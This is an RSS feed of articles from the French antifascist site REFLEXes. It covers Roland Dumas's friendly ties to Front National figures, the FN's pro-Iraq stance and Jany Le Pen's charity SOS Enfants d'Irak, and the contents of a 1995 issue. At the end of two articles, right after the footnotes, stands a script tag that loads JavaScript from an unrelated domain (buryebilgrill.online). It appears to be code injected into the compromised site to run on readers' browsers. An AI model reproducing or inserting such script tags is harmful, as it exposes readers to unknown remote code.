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	<title>REFLEXes &#187; Jean-Michel Dubois</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Roland Dumas, l&#8217;ami des parias</title>
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		<pubDate>Tue, 04 May 2010 20:13:20 +0000</pubDate>
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		<description><![CDATA[On le sait, la Mitterrandie a toujours eu des amitiés ambigües, héritées d’un passé qui ne l’était pas moins, entre engagement nationaliste de jeunesse, compagnonnage vichyste de circonstance et participation de raison à la Résistance. Il n’est donc guère surprenant de constater que certains représentants encore vivants de cette coterie reproduisent les mêmes travers. Comme [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>On le sait, la Mitterrandie a toujours eu des amitiés ambigües, héritées d’un passé qui ne l’était pas moins, entre engagement nationaliste de jeunesse, compagnonnage vichyste de circonstance et participation de raison à la Résistance. Il n’est donc guère surprenant de constater que certains représentants encore vivants de cette coterie reproduisent les mêmes travers. Comme le rapportent ce <a href="http://droites-extremes.blog.lemonde.fr/2010/05/02/quand-roland-dumas-recommande-louis-aliot/" target="_blank">blog</a> et cet <a href="http://www.rue89.com/2010/05/04/les-amities-frontistes-de-roland-dumas-ressurgissent-150175?page=0#commentaires" target="_blank">article</a>, Roland Dumas serait ainsi l’un des soutiens sur lesquels Louis Aliot, à présent ex-secrétaire général du FN, pourrait compter pour envisager un retour dans le monde du travail. Ce soutien est mis au compte du copinage et il semble en effet que Roland Dumas soit peu farouche et très cordial à la ville. En décembre 2006, alors que Dieudonné commençait à rendre public un rapprochement très net avec les milieux de la droite radicale et antisémite, l’ancien ministre des Affaires étrangères avait affiché son soutien au « comique » lors d’un spectacle au Zénith. Si cette présence avait été rapportée par divers media et montée en épingle par les <a href="http://lesogres.info/article.php3?id_article=2751" target="_blank">proches de Dieudonné</a>, les échanges amicaux qu’elle avait engendré avec les personnalités nationalistes présentes au spectacle avaient reçu moins de publicité. La photo ci-dessous témoigne pourtant de leur réalité :</p>
<div id="attachment_2488" style="width: 610px" class="wp-caption aligncenter"><a href="http://reflexes.samizdat.net/wp-content/uploads/2010/05/ZENITH_2006.jpg"><img class="wp-image-2488" src="http://reflexes.samizdat.net/wp-content/uploads/2010/05/ZENITH_2006.jpg" alt="Autour de Roland Dumas et Dieudonné : Bruno Gollnisch, Jean-Michel Dubois, Alain Soral et Jany Le Pen" width="600" height="450" /></a><p class="wp-caption-text"><em>Autour de Roland Dumas et Dieudonné : Bruno Gollnisch, Jean-Michel Dubois, Alain Soral et Jany Le Pen</em></p></div>
<p>D’autres figures, absentes de cette photo, étaient pourtant à proximité comme en témoigne celle-ci :</p>
<div id="attachment_2489" style="width: 610px" class="wp-caption aligncenter"><a href="http://reflexes.samizdat.net/wp-content/uploads/2010/05/ZENITH_2006-2.jpg"><img class="wp-image-2489" src="http://reflexes.samizdat.net/wp-content/uploads/2010/05/ZENITH_2006-2.jpg" alt="Outre les précédents, on aperçoit derrière deux anciens du GUD en la personne de Dominique Joly et de Frédéric Chatillon" width="600" height="450" /></a><p class="wp-caption-text"><em>Outre les précédents, on aperçoit derrière deux anciens du GUD en la personne de Dominique Joly et de Frédéric Chatillon</em></p></div>
<p>&nbsp;</p>
<p>Plus récemment, le 9 mars dernier, Roland Dumas était l’invité de l’émission <em>Chroniques de la vieille Europe</em> sur Radio Courtoisie. Ce medium radiophonique n’est plus à présenter et on ne peut guère soupçonner l’ancien ministre d’avoir ignorer où il mettait les pieds. Cependant Radio Courtoisie étant une auberge espagnole des droites françaises, l’émission aurait pu être animée par un quarteron de vieux gaullistes. Le fait est qu’il s’agit plutôt en l’occurrence d’un quarteron de (plus très) jeunes néo-droitistes. Les <em>Chroniques</em> sont en effet portées par des figures connues quoique devenues assez discrètes de la droite radicale : Patrick Lusinchi alias Patrick Péhèle<sup><a href="https://reflexes.samizdat.net/roland-dumas-lami-des-parias/#footnote_0_456" id="identifier_0_456" class="footnote-link footnote-identifier-link" title="P&eacute;h&egrave;le = PL = Patrick Lusinchi. Ce pseudonyme &eacute;tait d&eacute;j&agrave; le sien du temps de l&rsquo;association m&eacute;tapolitique L&rsquo;Art s&rsquo;affiche au milieu des ann&eacute;es 1990">1</a></sup>, Philippe Schleiter alias Philippe Christèle, Christophe Dungelhoeff alias Xavier Van Lierde ou encore Grégoire Tingaud alias Grégoire Gambier. Tous ces vieux trentenaires sont en effet représentatifs de cette génération passée dans les années 1990 par les cercles de formation de la Nouvelle Droite et qui s’engagea politiquement au FN puis au MNR ou encore au Renouveau Étudiant. Certains d’entre eux occupant à présent des situations professionnelles confortables, ces anciens radicaux évitent les feux de la rampe. Par contre leurs anciennes activités leur ont fait conserver des relations politiques bien utiles, tel Henri de Grossouvre, lui aussi passé par les cercles alsaciens de la Nouvelle Droite et qui s’affaire à présent dans les milieux partisans du rapprochement entre les puissances européennes et la Russie. Henri de Grossouvre étant le fils de l’ancien proche de François Mitterrand, François de Grossouvre, on voit que le monde est décidément petit.</p>
<ol class="footnotes"><li id="footnote_0_456" class="footnote">Péhèle = PL = Patrick Lusinchi. Ce pseudonyme était déjà le sien du temps de l&rsquo;association métapolitique L&rsquo;Art s&rsquo;affiche au milieu des années 1990</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Le Front National et la guerre contre l&#8217;Irak</title>
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		<pubDate>Mon, 03 Mar 2003 00:17:50 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<description><![CDATA[Certains se seront peut-être étonnés de voir le Front national appeler officiellement ses militants et ses sympathisants à participer aux manifestations du 15 février contre la guerre, sans pour autant, le jour dit, apparaître en tant que tel. Et pourtant, Le Pen ces dernières années fut l'un des plus fervents soutiens du gouvernement irakien dans la classe politique française.]]></description>
				<content:encoded><![CDATA[<p><strong>Certains se seront peut-être étonnés de voir le Front national appeler officiellement<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_0_169" id="identifier_0_169" class="footnote-link footnote-identifier-link" title="dans un communiqu&eacute; dat&eacute; du 12 f&eacute;vrier 2003">1</a></sup> ses militants et ses sympathisants à participer aux manifestations du 15 février contre la guerre, sans pour autant, le jour dit, apparaître en tant que tel. Et pourtant, Le Pen ces dernières années fut l&rsquo;un des plus fervents soutiens du gouvernement irakien dans la classe politique française.</strong><br />
Il faut dire que le parti de Jean-Marie Le Pen avait déjà appeler, le 1er février 2003, devant l&rsquo;ambassade américaine, à un rassemblement de protestation qui rassembla près de 200 personnes, pour « adresser un message d&rsquo;espoir au peuple irakien ». Le 19 décembre 1998 déjà, en marge de la manifestation de la gauche pour demander l&rsquo;arrêt des frappes anglo-américaines en Irak, le Front national avait organisé un rassemblement devant l&rsquo;ambassade américaine, qui avait alors rassemblé une trentaine de personnes, principalement des élus.</p>
<p>D&rsquo;ailleurs, l&rsquo;engagement du Front national en général et de son leader en particulier en faveur de l&rsquo;Irak n&rsquo;est pas neuf. On se souvient de la visite de Le Pen à Saddam Hussein en novembre 1990, lors de laquelle il avait fait des déclarations visant à reconnaître l&rsquo;annexion du Koweit ; et durant l&rsquo;année 1991, le FN, à l&rsquo;initiative de son patron, avait mené campagne contre la guerre du Golfe, faisant grincer quelques dents au sein du parti. Ainsi, à cette occasion, certains cadres avaient même démissionné du FN<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_1_169" id="identifier_1_169" class="footnote-link footnote-identifier-link" title="Comme Jules Monnerot, alors membre du bureau politique.">2</a></sup>. Par ailleurs, le pari politique était risqué : comment faire comprendre à ses électeurs qu&rsquo;il fallait expulser les Arabes d&rsquo;ici tout en soutenant ceux de là-bas ?</p>
<p><strong>La femme de Le Pen s&rsquo;emmêle</strong></p>
<p>La même année, le 31 mai 1991, Le Pen se marie avec Jeanne-Marie Paschos, née en 1933, fille d&rsquo;un père marchand de tableaux grec, ex-épouse de Jean Garnier<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_2_169" id="identifier_2_169" class="footnote-link footnote-identifier-link" title="L&rsquo;un des dirigeants d&rsquo;ECOTEC, une soci&eacute;t&eacute; pas tr&egrave;s nette qui payait le loyer de la maison des Le Pen.">3</a></sup>. Jany trouva sa place au sein du Front en s&rsquo;intéressant à différentes associations frontistes à caractère humanitaire : protestante de confession, elle soutint L&rsquo;entraide nationale, la soupe populaire du pasteur Blanchard, fut (et est encore) présidente d&rsquo;honneur de plusieurs associations de défense des animaux… Mais c&rsquo;est surtout en tant que présidente de l&rsquo;association caritative SOS Enfants d&rsquo;Irak, créée en 1995, que « Jany » Le Pen s&rsquo;est véritablement engagée. Et lorsque Le Pen, pour faire barrage à Mégret, la proposa comme comme tête de liste aux élections européennes, dans le cas où son inéligibilité aurait été confirmée, Jany Le Pen avait affirmé qu&rsquo;elle n&rsquo;en avait pas du tout l&rsquo;intention. Aussi est-il raisonnable de penser que son engagement aux côtés des enfants irakiens ne vise pas qu&rsquo;à faire plaisir à son mari, mais résulte d&rsquo;une véritable volonté personnelle. L&rsquo;activité de l&rsquo;association, sans être débordante (mais l&rsquo;humanitaire, surtout quand il passe par le porte-monnaie, n&rsquo;a jamais rencontré beaucoup de succès à l&rsquo;extrême droite), fut régulière tout au long des années 1990, envoyant médicaments et équipement de soin en Irak et chapeautant l&rsquo;ensemble des manifestations de soutien du FN à l&rsquo;Irak. La présence de Jean-Michel Dubois au poste de secrétaire général de l&rsquo;association montre à quel point SOS Enfants d&rsquo;Irak est chevillé au Front : membre du bureau politique du FN, conseiller régional d&rsquo;Ile-de-France, président du FNEML (Entreprise Moderne et Liberté) depuis 1987, associé de la société éditrice de National Hebdo, ce patron soupçonné d&rsquo;avoir entretenu des liens étroits avec la secte Moon et ainsi financé le FN est l&rsquo;un des cadres les plus importants du parti de Jean-Marie Le Pen.</p>
<p>Jany Le Pen a fait une dizaine de séjours en Irak, parfois accompagnée de son mari ou d&rsquo;élus FN<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_3_169" id="identifier_3_169" class="footnote-link footnote-identifier-link" title="Comme Jean-Michel Dubois, Marie-France Stirbois, Bruno Gollnisch ou encore r&eacute;cemment Farid Smahi.">4</a></sup>, au cours desquels elle fut en général reçue par le président irakien en personne, séjours qui furent le plus souvent l&rsquo;occasion de consolider les relations « diplomatiques » entre le FN et le dictateur de Bagdad, et surtout de donner à Le Pen l&rsquo;illusion d&rsquo;avoir la dimension d&rsquo;un chef d&rsquo;État. Pour parler des plus récents, notons celui effectué en décembre 2000, en violation de la résolution 670 des Nations Unies sur l&rsquo;embargo aérien, pour participer au Comité de suivi de la conférence de Bagdad pour la levée de l&rsquo;embargo, ou plus récemment encore, son séjour d&rsquo;une semaine au lendemain du rassemblement du 1er février 2003 dans le cadre de la « plate-forme européenne de solidarité avec le peuple irakien »<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_4_169" id="identifier_4_169" class="footnote-link footnote-identifier-link" title="Une initiative d&rsquo;une association belge &eacute;ponyme (SOS Kinderen Irak) sans lien direct cependant avec celle de Jany Le Pen.">5</a></sup>.</p>
<p><strong>Position sur la crise actuelle</strong></p>
<p>Lors des derniers développements de la crise irakienne, le FN s&rsquo;est exprimé d&rsquo;une seule voix pour dénoncer une guerre contre l&rsquo;Irak qualifiée d&rsquo; « injuste », et ce à de nombreuses reprises aussi bien dans les médias qu&rsquo;à la tribune du Parlement européen (une trentaine d&rsquo;interventions sur le sujet !). Si Gollnisch et Marine Le Pen se sont exprimés sur le sujet, c&rsquo;est surtout Le Pen, qui n&rsquo;entend pas partager son hégémonie au sein du FN quant aux relations internationales, qui s&rsquo;est exprimé, en profitant au passage pour épingler les hésitations de Jacques Chirac : ainsi, en septembre dernier, Le Pen rappela que « l&rsquo;article 35 de la Constitution prévoit expressément que la déclaration de guerre doit être autorisée par le Parlement » ; puis, en novembre, Le Pen reprocha au chef de l&rsquo;État de ne pas avoir utilisé le droit de veto de la France au Conseil de sécurité de l&rsquo;ONU. Mais la fermeté affichée du chef de l&rsquo;État coupa court à ces critiques : le 10 février sur France-info, Le Pen admit avoir été « agréablement surpris » par Chirac, son ennemi de toujours.</p>
<p>C&rsquo;est que, en dépit de son soutien de longue date à l&rsquo;Irak, Le Pen a bien du mal à faire entendre sa voix : en accord avec le gouvernement en place et avec la grande majorité de l&rsquo;opinion, en particulier celle de gauche (les récents sondages indiquent que 80% des Français seraient opposés à la guerre), le FN n&rsquo;est pas à l&rsquo;aise, et ce pour plusieurs raisons.</p>
<p>- d&rsquo;abord, il lui est difficile de jouer les trublions provocateurs comme en 1991 (rares étaient ceux alors à critiquer l&rsquo;intervention américaine), et ses prises de positions ne lui permettent pas de se distinguer de l&rsquo; « établissement » ;</p>
<p>- ensuite, il n&rsquo;arrive pas à mobiliser en masse ses militants sur le sujet, trop éloigné de leurs préoccupations franco-françaises (le FN, pour justifier son absence visible lors de la manifestation anti-guerre du 15 février, eut le culot de prétendre avoir voulu « éviter toute provocation » !) ;</p>
<p>- enfin, et c&rsquo;est l&rsquo;essentiel, c&rsquo;est à un sacré numéro de contorsionniste que se livre le FN dans son discours par rapport à l&rsquo;Irak, qui donna lieu à quelques sorties assez étonnantes.</p>
<p><strong>Un argumentaire un peu gonflé</strong></p>
<p>Le discours du Front national sur la guerre contre l&rsquo;Irak s&rsquo;articule autour de trois axes principaux : une dénonciation assez radicale de l&rsquo;impérialisme américain, un appel à la paix teinté d&rsquo;humanitarisme et une défense virulente de l&rsquo;Irak en tant que nation et en tant que peuple.</p>
<p>L&rsquo;antiaméricanisme de Le Pen n&rsquo;est pas neuf : malgré une période reaganienne dans les années 1980 et l&rsquo;influence proantlantiste de Mégret dans les années 1990, le Front national a toujours affiché une certaine méfiance à l&rsquo;égard des États-Unis, en dénonçant en particulier l&rsquo;hégémonie culturelle, assimilée au cosmopolitisme et au « mondialisme ». Poussé à l&rsquo;extrême dans le cas présent, Le Pen alla jusqu&rsquo;à demander une « rupture des relations diplomatiques avec les États-unis »<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_5_169" id="identifier_5_169" class="footnote-link footnote-identifier-link" title="Fran&ccedil;ais d&rsquo;abord, f&eacute;vrier 2003. Cependant, Martial Bild, directeur de Fran&ccedil;ais d&rsquo;abord, publia un erratum, affirmant que le FN consid&egrave;re la France et les &Eacute;tats-Unis comme des &laquo; alli&eacute;s &raquo;.">6</a></sup>. Et cette fois, c&rsquo;est essentiellement sur des questions économiques que le FN oriente son discours, dénonçant le « néo-colonialisme » mené par des « pays prédateurs » à la recherche du contrôle des réserves pétrolières, la « colonisation économique de l&rsquo;Irak » , Le Pen proposant même avec ironie que la devise inscrite sur les dollars américains soient désormais « in Gold we trust »<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_6_169" id="identifier_6_169" class="footnote-link footnote-identifier-link" title="Conf&eacute;rence de presse &agrave; Beyrouth, 21 d&eacute;cembre 2002.">7</a></sup>… Mais, ne menant pas son analyse jusqu&rsquo;à son terme anticapitaliste, le discours frontiste finit par tourner court.</p>
<p>C&rsquo;est donc la dimension pacifiste qui prend le dessus : alors qu&rsquo;il n&rsquo;a de cesse de réclamer l&rsquo;augmentation substantielle des crédits militaires, et que son bellicisme a pu à maintes reprises s&rsquo;affirmer, le FN n&rsquo;a pas hésité à lâcher des colombes lors de son rassemblement devant l&rsquo;ambassade américaine le 1er février Le Pen, après avoir, quinze jours avant, qualifié la guerre de « fléau de l&rsquo;humanité » a affirmé que Bush, qu&rsquo;il a comparé à Hitler<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_7_169" id="identifier_7_169" class="footnote-link footnote-identifier-link" title="sur LCI le jeudi 14 novembre 2002.">8</a></sup>, allait commettre le « premier crime contre l&rsquo;Humanité du XXIe siècle » devant les député européens le 29 janvier dernier… Au-delà des références qui permettent toujours d&rsquo;exagérer les défauts de l&rsquo;un pour mieux atténuer ceux de l&rsquo;autre, il est clair que le FN et son leader veulent frapper les esprits. C&rsquo;est d&rsquo;ailleurs pourquoi les activités humanitaires de SOS Enfants d&rsquo;Irak sont le véritable porte-drapeau du FN dans cette affaire. Ce refus de la guerre s&rsquo;accompagne même d&rsquo;une justification d&rsquo;éventuelles ripostes terroristes, dont la dénonciation avait pourtant été le fonds de commerce du FN ces derniers mois. Ainsi, Le Pen, tout en reconnaissant que « le terrorisme existe », estima qu&rsquo;il est lié à « la politique agressive des États-unis »<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_7_169" id="identifier_8_169" class="footnote-link footnote-identifier-link" title="sur LCI le jeudi 14 novembre 2002.">8</a></sup> et que « la politique occidentale lui fournit chaque jour un nouveau terreau »<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_8_169" id="identifier_9_169" class="footnote-link footnote-identifier-link" title="Discours lors du rassemblement du 1er f&eacute;vrier 2003.">9</a></sup>. Conscient que ce genre d&rsquo;arguments pourrait choquer ses sympathisants attachés à l&rsquo;idée de « choc des civilisations », Le Pen opère un habile distinguo entre les peuples du Moyen-Orient et les musulmans de nos banlieues qui selon lui profiteraient du conflit en Irak pour faire la guerre ici<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_9_169" id="identifier_10_169" class="footnote-link footnote-identifier-link" title="cf. Fran&ccedil;ais d&rsquo;Abord Quotidien du 19 f&eacute;vrier 2003.">10</a></sup> !</p>
<p>Toute l&rsquo;habileté de Jean-Marie Le Pen réside en effet à faire admettre à ses sympathisants que les Irakiens ne sont pas « des Arabes comme les autres ». Présentant l&rsquo;Irak comme un berceau de la civilisation, évoquant dans ses discours Nabuchodonosor le fondateur de Bagdad, « la plus belle ville du monde », Le Pen a cherché à donner de ce pays l&rsquo;image d&rsquo;une nation « civilisée », « moderne », et « laïque ». Cette guerre ne sera pas « une guerre contre l&rsquo;Islam » déclara-t-il<sup><a href="https://reflexes.samizdat.net/le-front-national-et-la-guerre-contre-lirak/#footnote_8_169" id="identifier_11_169" class="footnote-link footnote-identifier-link" title="Discours lors du rassemblement du 1er f&eacute;vrier 2003.">9</a></sup> devant ses militants, ravalant la thèse du choc des civilisations au rang de « marketing politique » et de « matraquage médiatique » !</p>
<p>La popularité de la position anti-guerre préserve pour le moment le FN d&rsquo;une trop grande contradiction avec les positions de sa base. Cependant, ses positions pro-irakiennes risquent de le mettre en difficulté à l&rsquo;avenir, comme cela a pu lui arriver à Beyrouth en décembre dernier, où personne n&rsquo;a voulu spontanément recevoir la délégation composé de Jean-Marie Le Pen, Bruno Gollnisch et leurs épouses respectives, en dehors du chef du Hezbollah, Mohammed Hussein Fadlallah ! Déjà, certains assurent leurs arrières, comme Marine Le Pen qui a tenu à rappeler que le FN n&rsquo;était pas « pour l&rsquo;Irak ou pour Saddam Hussein », mais simplement que son père défendait « la justice » et le droit international dans cette affaire…</p>
<p>Esbé</p>
<ol class="footnotes"><li id="footnote_0_169" class="footnote">dans un communiqué daté du 12 février 2003</li><li id="footnote_1_169" class="footnote">Comme Jules Monnerot, alors membre du bureau politique.</li><li id="footnote_2_169" class="footnote">L&rsquo;un des dirigeants d&rsquo;ECOTEC, une société pas très nette qui payait le loyer de la maison des Le Pen.</li><li id="footnote_3_169" class="footnote">Comme Jean-Michel Dubois, Marie-France Stirbois, Bruno Gollnisch ou encore récemment Farid Smahi.</li><li id="footnote_4_169" class="footnote">Une initiative d&rsquo;une association belge éponyme (SOS Kinderen Irak) sans lien direct cependant avec celle de Jany Le Pen.</li><li id="footnote_5_169" class="footnote"><em>Français d&rsquo;abord</em>, février 2003. Cependant, Martial Bild, directeur de <em>Français d&rsquo;abord</em>, publia un erratum, affirmant que le FN considère la France et les États-Unis comme des « alliés ».</li><li id="footnote_6_169" class="footnote">Conférence de presse à Beyrouth, 21 décembre 2002.</li><li id="footnote_7_169" class="footnote">sur LCI le jeudi 14 novembre 2002.</li><li id="footnote_8_169" class="footnote">Discours lors du rassemblement du 1er février 2003.</li><li id="footnote_9_169" class="footnote">cf. <em>Français d&rsquo;Abord Quotidien</em> du 19 février 2003.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>REFLEXes Numéro 45 – Mars 1995</title>
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		<pubDate>Wed, 29 Mar 1995 08:38:57 +0000</pubDate>
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		<description><![CDATA[(cliquez sur l&#8217;image pour télécharger le pdf du numéro) SOMMAIRE : Extreme droite : Le Front National et l’argent (page 3) Parti humaniste : la sale secte près de chez vous (page 5) Immigration : Roms : un crime annoncé (page 8) Livret Europe : Hooligans : des pains et des jeux (page 10) Autriche : L’Autriche en gris (page 14) [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://reflexes.samizdat.net/wp-content/uploads/2014/09/ReflexesNum45-03-1995.pdf"><img class="aligncenter wp-image-1847" src="http://reflexes.samizdat.net/wp-content/uploads/2014/09/ReflexesNum45-mars1995-714x1024.jpg" alt="ReflexesNum45-mars1995" width="600" height="860" /></a><strong><em>(cliquez sur l&rsquo;image pour télécharger le pdf du numéro)</em></strong></p>
<p style="text-align: left;">
<p><strong><em>SOMMAIRE :</em></strong></p>
<p>Extreme droite :</p>
<p><strong>Le Front National et l’argent (</strong>page 3<strong>)</strong></p>
<p><strong>Parti humaniste : la sale secte près de chez vous </strong>(page 5)</p>
<p>Immigration :</p>
<p><strong>Roms : un crime annoncé (</strong>page 8)</p>
<p>Livret Europe :</p>
<p><strong>Hooligans : des pains et des jeux (</strong>page 10)</p>
<p><strong>Autriche : L’Autriche en gris (</strong>page 14)</p>
<p><strong>Italie : Ciao, Gian Maria (</strong>page 16)</p>
<p><strong>Searchlight (</strong>page 18)</p>
<p>Police &#8211; Extreme droite :</p>
<p><strong>FPIP : FPIP pas on est des fafs (</strong>page 19)</p>
<p>Anarchisme :</p>
<p><strong>Liugi Fabbri : un effort de lucidité à l’aube du fascisme et du bolchévisme (</strong>page 21)</p>
<p>Histoire :</p>
<p><strong>Michel Taubmann : à propos de l’affaire Guingouin (</strong>page 24)</p>
<p>NOTES DE LECTURE (page 26)</p>
<p>&nbsp;</p>
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		</item>
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